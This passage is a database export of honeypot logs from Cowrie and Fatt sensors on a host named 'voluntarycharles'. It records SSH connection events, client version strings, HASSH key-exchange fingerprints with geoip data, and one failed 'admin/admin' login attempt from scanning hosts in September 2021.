"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 56846, "dest_port": 22, "timestamp": "2021-09-20T11:11:25.492106", "@timestamp": "2021-09-20T11:11:25.492Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26348	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:11:26.180689+03	2021-09-20 14:15:13.152646+03	{"_id": "ygbnAnwBvYTbRNuEUR65", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 7 seconds", "session": "bfa468d5f9d5", "@version": "1", "duration": 7.567718505859375, "timestamp": "2021-09-20T11:11:26.180689Z", "@timestamp": "2021-09-20T11:11:26.180Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
26349	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:27.066534+03	2021-09-20 14:15:13.153645+03	{"_id": "zwbnAnwBvYTbRNuEVR6j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:51854 (192.168.176.2:22) [session: de16973d9266]", "session": "de16973d9266", "@version": "1", "protocol": "ssh", "src_port": 51854, "dest_port": 22, "timestamp": "2021-09-20T11:11:27.066534Z", "@timestamp": "2021-09-20T11:11:27.066Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
26350	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:27.343322+03	2021-09-20 14:15:13.154647+03	{"_id": "1gbnAnwBvYTbRNuEWB7x", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 51854, "dest_port": 22, "timestamp": "2021-09-20T11:11:27.343322", "@timestamp": "2021-09-20T11:11:27.343Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26424	8.30.234.130	109.199.241.180	Cowrie	2021-09-20 14:11:51.94381+03	2021-09-20 14:15:13.253646+03	{"_id": "xgbnAnwBvYTbRNuEtyBp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "8.30.234.130", "asn": 3356, "as_org": "Level 3 Communications, Inc.", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "sensor": "b63cdd9641b8", "src_ip": "8.30.234.130", "eventid": "cowrie.login.failed", "message": "login attempt [admin/admin] failed", "session": "3cedbc756a3f", "@version": "1", "password": "admin", "username": "admin", "timestamp": "2021-09-20T11:11:51.943810Z", "@timestamp": "2021-09-20T11:11:51.943Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
26351	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:11:29.135113+03	2021-09-20 14:15:13.156647+03	{"_id": "5AbnAnwBvYTbRNuEXB7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 44330, "timestamp": "2021-09-20T11:11:29.135113", "@timestamp": "2021-09-20T11:11:29.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26352	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:11:28.622126+03	2021-09-20 14:15:13.157646+03	{"_id": "6AbnAnwBvYTbRNuEXR51", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "63dfe9860929", "@version": "1", "timestamp": "2021-09-20T11:11:28.622126Z", "@timestamp": "2021-09-20T11:11:28.622Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
26353	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:11:28.621334+03	2021-09-20 14:15:13.158646+03	{"_id": "5QbnAnwBvYTbRNuEXB7b", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35406, "dest_port": 22, "timestamp": "2021-09-20T11:11:28.621334", "@timestamp": "2021-09-20T11:11:28.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
26354	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:29.130854+03	2021-09-20 14:15:13.160644+03	{"_id": "6QbnAnwBvYTbRNuEXR52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:44330 (192.168.176.2:22) [session: 3e654b79c993]", "session": "3e654b79c993", "@version": "1", "protocol": "ssh", "src_port": 44330, "dest_port": 22, "timestamp": "2021-09-20T11:11:29.130854Z", "@timestamp": "2021-09-20T11:11:29.130Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
26355	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:29.133664+03	2021-09-20 14:15:13.161646+03	{"_id": "7QbnAnwBvYTbRNuEXR52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "3e654b79c993", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:11:29.133664Z", "@timestamp": "2021-09-20T11:11:29.133Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
26356	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:11:29.448598+03	2021-09-20 14:15:13.162646+03	{"_id": "7gbnAnwBvYTbRNuEXR52", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", 